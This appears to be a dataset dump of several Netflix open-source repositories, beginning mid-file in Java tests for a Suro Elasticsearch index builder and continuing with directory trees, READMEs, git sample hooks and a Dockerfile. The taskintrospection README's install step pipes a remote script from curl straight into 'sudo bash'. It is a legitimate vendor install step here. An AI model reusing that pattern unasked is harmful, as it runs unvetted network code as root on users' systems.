@Test\n public void shouldNullOrEmptyIndexTypeMapReturnRoutingKey() throws JsonProcessingException {\n DefaultIndexInfoBuilder builder = new DefaultIndexInfoBuilder(\n null,\n null,\n null,\n null,\n null,\n jsonMapper);\n\n Map<String, Object> msg = new ImmutableMap.Builder<String, Object>().put(\"f1\", \"v1\").build();\n\n IndexInfo info = builder.create(new Message(\"routingkey\", jsonMapper.writeValueAsBytes(msg)));\n assertEquals(info.getIndex(), \"routingkey\");\n assertEquals(info.getType(), \"default\");\n }\n\n @Test\n public void shouldIndexTypeMapReturnSetting() throws JsonProcessingException {\n DefaultIndexInfoBuilder builder = new DefaultIndexInfoBuilder(\n new ImmutableMap.Builder<String, String>()\n .put(\"routingkey1\", \"index1:type1\")\n .put(\"routingkey2\", \"index2\").build(),\n null,\n null,\n null,\n null,\n jsonMapper);\n\n Map<String, Object> msg = new ImmutableMap.Builder<String, Object>().put(\"f1\", \"v1\").build();\n\n IndexInfo info = builder.create(new Message(\"routingkey1\", jsonMapper.writeValueAsBytes(msg)));\n assertEquals(info.getIndex(), \"index1\");\n assertEquals(info.getType(), \"type1\");\n\n info = builder.create(new Message(\"routingkey2\", jsonMapper.writeValueAsBytes(msg)));\n assertEquals(info.getIndex(), \"index2\");\n assertEquals(info.getType(), \"default\");\n }\n\n @Test\n public void shouldIndexFormatterWorkWithTimestampField() throws JsonProcessingException {\n Properties props = new Properties();\n props.put(\"dateFormat\", \"YYYYMMdd\");\n\n DefaultIndexInfoBuilder builder = new DefaultIndexInfoBuilder(\n new ImmutableMap.Builder<String, String>()\n .put(\"routingkey1\", \"index1:type1\")\n .put(\"routingkey2\", \"index2\").build(),\n null,\n new TimestampField(\"ts\", null),\n new IndexSuffixFormatter(\"date\", props),\n null,\n jsonMapper);\n\n DateTime dt = new DateTime(\"2014-10-12T00:00:00.000Z\");\n Map<String, Object> msg = new ImmutableMap.Builder<String, Object>()\n .put(\"ts\", dt.getMillis())\n .put(\"f1\", \"v1\").build();\n\n IndexInfo info = builder.create(new Message(\"routingkey1\", jsonMapper.writeValueAsBytes(msg)));\n assertEquals(info.getIndex(), \"index120141012\");\n assertEquals(info.getType(), \"type1\");\n\n info = builder.create(new Message(\"routingkey2\", jsonMapper.writeValueAsBytes(msg)));\n assertEquals(info.getIndex(), \"index220141012\");\n assertEquals(info.getType(), \"default\");\n }\n\n @Test\n public void shouldSourceConvertedOrNot() throws IOException {\n DataConverter converter = new DataConverter() {\n @Override\n public Map<String, Object> convert(Map<String, Object> msg) {\n msg.put(\"app\", \"app\");\n return msg;\n }\n };\n\n DefaultIndexInfoBuilder builder = new DefaultIndexInfoBuilder(\n null,\n null,\n null,\n null,\n converter,\n jsonMapper);\n\n Map<String, Object> msg = new ImmutableMap.Builder<String, Object>()\n .put(\"f1\", \"v1\").build();\n\n IndexInfo info = builder.create(new Message(\"routingkey\", jsonMapper.writeValueAsBytes(msg)));\n Map<String, Object> source = (Map<String, Object>) info.getSource();\n assertEquals(source.get(\"app\"), \"app\");\n assertEquals(source.get(\"f1\"), \"v1\");\n\n builder = new DefaultIndexInfoBuilder(\n null,\n null,\n null,\n null,\n null,\n jsonMapper);\n\n msg = new ImmutableMap.Builder<String, Object>()\n .put(\"f1\", \"v1\").build();\n\n info = builder.create(new Message(\"routingkey\", jsonMapper.writeValueAsBytes(msg)));\n source = jsonMapper.readValue((String)info.getSource(), new TypeReference<Map<String, Object>>() {});\n assertNull(source.get(\"app\"));\n assertEquals(source.get(\"f1\"), \"v1\");\n }\n\n @Test\n public void shouldGetIdReturnNullOnEmptyList() throws JsonProcessingException {\n DefaultIndexInfoBuilder builder = new DefaultIndexInfoBuilder(\n null,\n null,\n null,\n null,\n null,\n jsonMapper);\n\n Map<String, Object> msg = new ImmutableMap.Builder<String, Object>()\n .put(\"f1\", \"v1\").build();\n\n\n IndexInfo info = builder.create(new Message(\"routingkey\", jsonMapper.writeValueAsBytes(msg)));\n assertNull(info.getId());\n\n builder = new DefaultIndexInfoBuilder(\n null,\n new ImmutableMap.Builder<String, List<String>>().build(),\n null,\n null,\n null,\n jsonMapper);\n info = builder.create(new Message(\"routingkey\", jsonMapper.writeValueAsBytes(msg)));\n assertNull(info.getId());\n }\n\n @Test\n public void shouldGetIdReturnsConcatenatedStr() throws JsonProcessingException {\n Map<String, Object> msg = new ImmutableMap.Builder<String, Object>()\n .put(\"f1\", \"v1\")\n .put(\"f2\", \"v2\")\n .put(\"f3\", \"v3\")\n .build();\n\n DefaultIndexInfoBuilder builder = new DefaultIndexInfoBuilder(\n null,\n new ImmutableMap.Builder<String, List<String>>().put(\"routingkey\", Lists.newArrayList(\"f1\", \"f2\")).build(),\n null,\n null,\n null,\n jsonMapper);\n IndexInfo info = builder.create(new Message(\"routingkey\", jsonMapper.writeValueAsBytes(msg)));\n assertEquals(info.getId(), \"v1v2\");\n }\n\n @Test\n public void shouldGetIdReturnsConcatedStrWithTimeslice() throws JsonProcessingException {\n DateTime dt = new DateTime(\"2014-10-12T12:12:12.000Z\");\n\n Map<String, Object> msg = new ImmutableMap.Builder<String, Object>()\n .put(\"f1\", \"v1\")\n .put(\"f2\", \"v2\")\n .put(\"f3\", \"v3\")\n .put(\"ts\", dt.getMillis())\n .build();\n\n DefaultIndexInfoBuilder builder = new DefaultIndexInfoBuilder(\n null,\n new ImmutableMap.Builder<String, List<String>>().put(\"routingkey\", Lists.newArrayList(\"f1\", \"f2\", \"ts_minute\")).build(),\n new TimestampField(\"ts\", null),\n null,\n null,\n jsonMapper);\n IndexInfo info = builder.create(new Message(\"routingkey\", jsonMapper.writeValueAsBytes(msg)));\n assertEquals(info.getId(), (\"v1v2\" + dt.getMillis() / 60000));\n }\n\n @Test\n public void testCreation() throws IOException {\n String desc = \"{\\n\" +\n \" \\\"type\\\": \\\"default\\\",\\n\" +\n \" \\\"indexTypeMap\\\":{\\\"routingkey1\\\":\\\"index1:type1\\\", \\\"routingkey2\\\":\\\"index2:type2\\\"},\\n\" +\n \" \\\"idFields\\\":{\\\"routingkey\\\": [\\\"f1\\\", \\\"f2\\\", \\\"ts_minute\\\"]},\\n\" +\n \" \\\"timestamp\\\": {\\\"field\\\":\\\"ts\\\"},\\n\" +\n \" \\\"indexSuffixFormatter\\\":{\\\"type\\\": \\\"date\\\", \\\"properties\\\":{\\\"dateFormat\\\":\\\"YYYYMMdd\\\"}}\\n\" +\n \"}\";\n jsonMapper.setInjectableValues(new InjectableValues() {\n @Override\n public Object findInjectableValue(\n Object valueId,\n DeserializationContext ctxt,\n BeanProperty forProperty,\n Object beanInstance\n ) {\n if (valueId.equals(ObjectMapper.class.getCanonicalName())) {\n return jsonMapper;\n } else {\n return null;\n }\n }\n });\n DateTime dt = new DateTime(\"2014-10-12T12:12:12.000Z\");\n\n Map<String, Object> msg = new ImmutableMap.Builder<String, Object>()\n .put(\"f1\", \"v1\")\n .put(\"f2\", \"v2\")\n .put(\"f3\", \"v3\")\n .put(\"ts\", dt.getMillis())\n .build();\n IndexInfoBuilder builder = jsonMapper.readValue(desc, new TypeReference<IndexInfoBuilder>(){});\n IndexInfo info = builder.create(new Message(\"routingkey\", jsonMapper.writeValueAsBytes(msg)));\n assertEquals(info.getId(), (\"v1v2\" + dt.getMillis() / 60000));\n }\n}\n", "suro-elasticsearch\\src\\test\\java\\com\\netflix\\suro\\sink\\elasticsearch\\TestIndexSuffixFormatter.java": "package com.netflix.suro.sink.elasticsearch;\n\nimport org.joda.time.DateTime;\nimport org.junit.Test;\n\nimport java.util.Properties;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.mockito.Matchers.any;\nimport static org.mockito.Mockito.doReturn;\nimport static org.mockito.Mockito.mock;\n\npublic class TestIndexSuffixFormatter {\n @Test\n public void shouldNullTypeReturnsEmptyString() {\n IndexSuffixFormatter formatter = new IndexSuffixFormatter(null, null);\n assertEquals(formatter.format(any(IndexInfo.class)), \"\");\n }\n\n @Test\n public void shouldDateTypeReturnsCorrectOne() {\n System.setProperty(\"user.timezone\", \"GMT\");\n\n Properties props = new Properties();\n props.put(\"dateFormat\", \"YYYYMMdd\");\n\n DateTime dt = new DateTime(\"2014-10-12T00:00:00.000Z\");\n IndexSuffixFormatter formatter = new IndexSuffixFormatter(\"date\", props);\n IndexInfo info = mock(IndexInfo.class);\n doReturn(dt.getMillis()).when(info).getTimestamp();\n\n assertEquals(formatter.format(info), \"20141012\");\n }\n\n @Test(expected=RuntimeException.class)\n public void shouldThrowExceptionOnUnsupportedType() {\n IndexSuffixFormatter formatter = new IndexSuffixFormatter(\"invalid\", null);\n }\n\n @Test\n public void testWeeklyRepresentation() {\n System.setProperty(\"user.timezone\", \"GMT\");\n\n Properties props = new Properties();\n props.put(\"dateFormat\", \"YYYYMM_ww\");\n\n DateTime dt = new DateTime(\"2014-10-12T00:00:00.000Z\");\n IndexSuffixFormatter formatter = new IndexSuffixFormatter(\"date\", props);\n IndexInfo info = mock(IndexInfo.class);\n doReturn(dt.getMillis()).when(info).getTimestamp();\n\n assertEquals(formatter.format(info), \"201410_41\");\n }\n}\n"} | null |
Surus | {"type": "directory", "name": "Surus", "children": [{"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "pom.xml"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "examples", "children": [{"type": "directory", "name": "data", "children": [{"type": "file", "name": "Audit.csv"}, {"type": "file", "name": "Elnino.csv"}, {"type": "file", "name": "Iris.csv"}]}, {"type": "directory", "name": "models", "children": [{"type": "file", "name": "elnino_linearReg.xml"}, {"type": "file", "name": "ensemble_audit_dectree.xml"}, {"type": "file", "name": "example.randomForest.xml"}, {"type": "file", "name": "single_iris_dectree.xml"}, {"type": "file", "name": "single_iris_mlp.xml"}]}, {"type": "directory", "name": "pig", "children": [{"type": "file", "name": "rad.pig"}]}]}, {"type": "directory", "name": "images", "children": []}, {"type": "directory", "name": "R", "children": [{"type": "directory", "name": "RAD", "children": [{"type": "file", "name": "DESCRIPTION"}, {"type": "directory", "name": "man", "children": [{"type": "file", "name": "AnomalyDetection.rpca.Rd"}, {"type": "file", "name": "ggplot_AnomalyDetection.rpca.Rd"}, {"type": "file", "name": "RcppRPCA.Rd"}, {"type": "file", "name": "RcppSVT.Rd"}]}, {"type": "file", "name": "NAMESPACE"}, {"type": "directory", "name": "R", "children": [{"type": "file", "name": "anomaly_detection.R"}, {"type": "file", "name": "anomaly_detection_ma.R"}, {"type": "file", "name": "multiplot.R"}, {"type": "file", "name": "RcppExports.R"}]}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "anomaly_detection.cpp"}, {"type": "file", "name": "RcppExports.cpp"}]}, {"type": "directory", "name": "tests", "children": [{"type": "file", "name": "test1.Rmd"}, {"type": "file", "name": "tests2.Rmd"}]}]}]}]}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "org", "children": [{"type": "directory", "name": "surus", "children": [{"type": "directory", "name": "math", "children": [{"type": "file", "name": "AugmentedDickeyFuller.java"}, {"type": "file", "name": "RidgeRegression.java"}, {"type": "file", "name": "RPCA.java"}]}, {"type": "directory", "name": "pig", "children": [{"type": "file", "name": "RAD.java"}, {"type": "file", "name": "ScorePMML.java"}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "org", "children": [{"type": "directory", "name": "surus", "children": [{"type": "directory", "name": "math", "children": [{"type": "file", "name": "AugmentedDickeyFuller_Test.java"}, {"type": "file", "name": "RPCA_Test.java"}]}, {"type": "directory", "name": "pig", "children": [{"type": "file", "name": "RAD_Test.java"}, {"type": "file", "name": "ScorePMML_AuditTest.java"}, {"type": "file", "name": "ScorePMML_ElNinoTest.java"}, {"type": "file", "name": "ScorePMML_IrisTest.java"}]}]}]}]}]}]}]} | [![NetflixOSS Lifecycle](https://img.shields.io/osslifecycle/Netflix/Surus.svg)]()
# Surus
A collection of tools for analysis in Pig and Hive.
## Description
Over the next year we plan to release a handful of our internal user defined functions (UDFs) that have broad adoption across Netflix. The use
cases for these functions are varied in nature (e.g. scoring predictive models, outlier detection, pattern matching, etc.) and together extend
the analytical capabilities of big data.
## Functions
* ScorePMML - A tool for scoring predictive models in the cloud.
* Robust Anomaly Detection (RAD) - An implementation of the Robust PCA.
## Building Surus
Surus is a standard Maven project. After cloning the git repository you can simply run the following command from the project root directory:
mvn clean package
On the first build, Maven will download all the dependencies from the internet and cache them in the local repository (`~/.m2/repository`), which
can take a considerable amount of time. Subsequent builds will be faster.
## Using Surus
After building Surus you will need to move it to your Hive/Pig instance and register the JAR in your environment. For those
unfamiliar with this process see the [Apache Pig UDF](https://pig.apache.org/docs/r0.14.0/udf.html),
and [Hive Plugin](https://cwiki.apache.org/confluence/display/Hive/HivePlugins), documentation.
You can also install the anomaly detection R package trivially with this code
library(devtools)
install_github(repo = "Surus", username = "Netflix", subdir = "resources/R/RAD")
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
taskintrospection | {"type": "directory", "name": "taskintrospection", "children": [{"type": "directory", "name": ".buildkite", "children": [{"type": "file", "name": "pipeline.yml"}]}, {"type": "file", "name": ".clang-format"}, {"type": "directory", "name": "hacks", "children": [{"type": "file", "name": "Dockerfile"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Makefile"}, {"type": "file", "name": "mkdkms.sh"}, {"type": "file", "name": "mkpostInstall.sh"}, {"type": "file", "name": "mkpreRemove.sh"}, {"type": "file", "name": "nfpm.jsonnet"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "include", "children": [{"type": "directory", "name": "uapi", "children": [{"type": "file", "name": "taskintrospection.h"}]}]}, {"type": "file", "name": "Kbuild"}, {"type": "file", "name": "taskintrospection.c"}]}]} | # Task Introspection
Task introspection is a kernel module that's meant to act as an alternative to /proc/pid/status.
Parsing /proc/pid/status can be difficult.
So far, it only provides a limited subset of the fields in /proc/pid/status.
# Installation
The only supported platform is Ubuntu Bionic running a 5.10+ kernel.
```
curl -s https://packagecloud.io/install/repositories/netflix/titus/script.deb.sh | sudo bash
apt-get install -y taskintrospection
```
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".git\\logs\\refs\\heads\\main": "0000000000000000000000000000000000000000 cfb482f6099931f24c9e638cd277e17489b31135 Hamza Amin <[email protected]> 1728221968 +0500\tclone: from https://github.com/Netflix/taskintrospection.git\n", ".git\\refs\\heads\\main": "cfb482f6099931f24c9e638cd277e17489b31135\n", "hacks\\Dockerfile": "FROM ubuntu:bionic\nRUN apt-get update && apt-get install -y dkms linux-kernel-headers git wget\nRUN wget https://github.com/goreleaser/nfpm/releases/download/v2.7.1/nfpm_amd64.deb && dpkg -i nfpm_amd64.deb && rm nfpm_amd64.deb\nRUN wget https://github.com/google/go-jsonnet/releases/download/v0.17.0/jsonnetfmt-go_0.17.0_linux_amd64.deb https://github.com/google/go-jsonnet/releases/download/v0.17.0/jsonnet-go_0.17.0_linux_amd64.deb && \\\n\tdpkg -i jsonnet-go_0.17.0_linux_amd64.deb jsonnetfmt-go_0.17.0_linux_amd64.deb && \\\n\trm jsonnetfmt-go_0.17.0_linux_amd64.deb jsonnet-go_0.17.0_linux_amd64.deb\n"} | null |
tcplog_dumper | {"type": "directory", "name": "tcplog_dumper", "children": [{"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Makefile"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "tcplog_dumper.1"}, {"type": "file", "name": "tcplog_dumper.c"}, {"type": "file", "name": "tcplog_dumper.h"}, {"type": "file", "name": "tcplog_idcache.c"}, {"type": "file", "name": "tcplog_writev.c"}, {"type": "file", "name": "tcplog_xz.c"}]} | # tcplog_dumper
Gather the data from the [FreeBSD's tcp_log device](https://reviews.freebsd.org/rS331347).
## Usage example
Using a FreeBSD -head (r363032 minimum, to have the extra TCP stack headers installed),
compile a new kernel with BBR and extra TCP stack enabled:
```
# cat /usr/src/sys/amd64/conf/BBR
include GENERIC-NODEBUG
ident BBR
options TCPHPTS
options RATELIMIT
makeoptions WITH_EXTRA_TCP_STACKS=1
# cat /etc/src.conf
KERNCONF=BBR
MALLOC_PRODUCTION=yes
```
Build and install this customized kernel.
Checking for those files
* /boot/kernel/tcp_bbr.ko
* /boot/kernel/tcp_rack.ko
Load thoses modules during startup (sooner on /boot/loader.conf or later on /etc/rc.conf).
Example with the rc.conf:
```sysrc kld_list+="tcp_rack tcp_bbr"```
Configure the system to use BBR TCP stack by default:
```
echo 'net.inet.tcp.functions_default=bbr' >> /etc/sysctl.conf
```
Reboot and check if the system is using the BBR TCP stack:
```
# sysctl net.inet.tcp.functions_default
net.inet.tcp.functions_default: bbr
```
Enable BBR logging for all TCP sessions:
```
# sysctl net.inet.tcp.bb.log_auto_mode=4
# sysctl net.inet.tcp.bb.log_auto_all=1
# sysctl net.inet.tcp.bb.log_auto_ratio=1
```
Start tcplog_dumper:
```
# mkdir /var/log/tcplog_dumps
# chown nobody /var/log/tcplog_dumps
# tcplog_dumper
```
For each new TCP sessions, there will be multiples .pcapng files in the log directory:
You can use [read_bbrlog](https://github.com/Netflix/read_bbrlog) to interpret those files.
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
techreports | {"type": "directory", "name": "techreports", "children": [{"type": "file", "name": "OSSMETADATA"}]} | {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
|
titus | {"type": "directory", "name": "titus", "children": [{"type": "file", "name": "CONTRIBUTING.md"}, {"type": "directory", "name": "docs", "children": [{"type": "directory", "name": "docs", "children": [{"type": "file", "name": "build.md"}, {"type": "file", "name": "faq.md"}, {"type": "directory", "name": "images", "children": []}, {"type": "file", "name": "index.md"}, {"type": "directory", "name": "install", "children": [{"type": "file", "name": "agent.md"}, {"type": "file", "name": "cloud-init.yml"}, {"type": "file", "name": "index.md"}, {"type": "file", "name": "master.md"}, {"type": "file", "name": "prereqs-amazon.md"}, {"type": "file", "name": "prereqs.md"}]}, {"type": "file", "name": "overview.md"}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "batch.md"}]}]}, {"type": "file", "name": "mkdocs.yml"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}]} | # Archival notice
This repo has been archived and is no longer in active development.
# Titus Documentation
[Documentation](https://netflix.github.io/titus/)
# Titus Source Code on GitHub
[Titus API Definition](https://github.com/Netflix/titus-api-definitions)
[Titus Control Plane](https://github.com/Netflix/titus-control-plane)
[Titus Executor](https://github.com/Netflix/titus-executor)
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "docs\\docs\\index.md": "# Titus\n\nTitus is a container management platform that provides scalable and reliable container execution and\ncloud-native integration with Amazon AWS. Titus was built internally at Netflix and is used in production\nto power Netflix streaming, recommendation, and content systems.\n\nTitus provides the following:\n\n- __A production ready container platform__. Titus is run in production at Netflix, managing thousands of AWS EC2\ninstances and launching hundreds of thousands of containers daily for both batch and service workloads.\n- __Cloud-native integrations with AWS__. Titus integrates with AWS services, such as VPC networking, IAM and Security Group\nconcepts, Application Load Balancing, and EC2 capacity management. These integrations enable many cloud\nservices to work seamlessly with containers.\n- __Netflix OSS integration__. Titus works natively with many existing Netflix OSS projects, including\n[Spinnaker](https://www.spinnaker.io/), [Eureka](https://github.com/Netflix/eureka),\n[Archaius](https://github.com/Netflix/archaius), and [Atlas](https://github.com/Netflix/atlas) among others.\n- __Docker-native container execution__. Titus can run images packaged as Docker containers while providing\nadditional security and reliability around container execution.\n\n## Architectural Overview\nAn overview of how Titus works is provided [here](overview.md).\n\n## Getting Started\n\nYou can find out about building Titus [here](build.md) and deploying [here](install/prereqs.md).\n\n### Learn More About Titus\n\n- [Titus: Introducing Containers to the Netflix Cloud](https://queue.acm.org/detail.cfm?id=3158370)\n- [The Evolution of Container Usage at Netflix](https://medium.com/netflix-techblog/the-evolution-of-container-usage-at-netflix-3abfc096781b)\n- [Running Container at Scale at Netflix](https://www.slideshare.net/aspyker/container-world-2018)\n- [A Series of Unfortunate Container Events](https://www.infoq.com/news/2017/07/netflix-titus)\n\n### Contributing\n\nRefer to [contibuting.md](https://github.com/Netflix/titus/blob/master/CONTRIBUTING.md)\n\nJoin us on [slack](https://titusoss.herokuapp.com/)\n\n### License\n\nCopyright 2018 Netflix, Inc.\n\nLicensed under the Apache License, Version 2.0 (the \u201cLicense\u201d); you may not use this file except in compliance with the License. You may obtain a copy of the License at\n\nhttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \u201cAS IS\u201d BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.\n\n"} | null |
titus-api-definitions | {"type": "directory", "name": "titus-api-definitions", "children": [{"type": "directory", "name": ".vscode", "children": [{"type": "file", "name": "extensions.json"}, {"type": "file", "name": "settings.json"}]}, {"type": "file", "name": "build.gradle"}, {"type": "file", "name": "build.sh"}, {"type": "file", "name": "CONTRIBUTING.md"}, {"type": "directory", "name": "doc", "children": [{"type": "file", "name": "titus-agent-api-spec.html"}, {"type": "file", "name": "titus-agent-api-spec.md"}, {"type": "file", "name": "titus-v3-spec.html"}, {"type": "file", "name": "titus-v3-spec.md"}, {"type": "file", "name": "titus-vpc-api-spec.html"}, {"type": "file", "name": "titus-vpc-api-spec.md"}, {"type": "file", "name": "Titus_v3_data_model.xml"}, {"type": "file", "name": "Titus_v3_pagination.xml"}]}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Makefile"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "PULL_REQUEST_TEMPLATE.md"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "secrets", "children": [{"type": "file", "name": "signing-key.enc"}]}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "proto", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "managedbatch", "children": [{"type": "file", "name": "job-accumulator.proto-sample"}, {"type": "file", "name": "job.proto-sample"}, {"type": "file", "name": "managedbatch-common.proto-sample"}, {"type": "file", "name": "tenant.proto-sample"}]}, {"type": "directory", "name": "titus", "children": [{"type": "file", "name": "agent.proto"}, {"type": "file", "name": "api.go"}, {"type": "directory", "name": "compliance", "children": [{"type": "file", "name": "compliance.proto"}]}, {"type": "file", "name": "titus_agent_api.proto"}, {"type": "file", "name": "titus_autoscale_api.proto"}, {"type": "file", "name": "titus_base.proto"}, {"type": "file", "name": "titus_cluster_membership_api.proto"}, {"type": "file", "name": "titus_containers.proto"}, {"type": "file", "name": "titus_eviction_api.proto"}, {"type": "file", "name": "titus_federation_capacity_api.proto"}, {"type": "file", "name": "titus_health.proto"}, {"type": "file", "name": "titus_job_activity_history.proto"}, {"type": "file", "name": "titus_job_api.proto"}, {"type": "file", "name": "titus_job_api_ext.proto"}, {"type": "file", "name": "titus_loadbalancer_api.proto"}, {"type": "file", "name": "titus_master_api.proto"}, {"type": "file", "name": "titus_scheduler_api.proto"}, {"type": "file", "name": "titus_task_relocation_api.proto"}, {"type": "file", "name": "titus_volumes.proto"}, {"type": "file", "name": "titus_vpc_api.proto"}, {"type": "directory", "name": "validator", "children": [{"type": "file", "name": "validator.proto"}]}]}]}]}]}]}]} | # Titus API Definitions (Archived)
This repo has been archived and is no longer in active development.
[![Apache 2.0](https://img.shields.io/github/license/nebula-plugins/gradle-lint-plugin.svg)](http://www.apache.org/licenses/LICENSE-2.0)
## Overview
Titus is the Netflix Container Management Platform that manages containers and provides integrations to the infrastructure
ecosystem. This repository contains the Titus API Swagger/Protobuf/GRPC IDLs.
## Documentation & Getting Started
[netflix.github.io/titus](http://netflix.github.io/titus/)
## LICENSE
Copyright (c) 2018 Netflix, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
<http://www.apache.org/licenses/LICENSE-2.0>
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
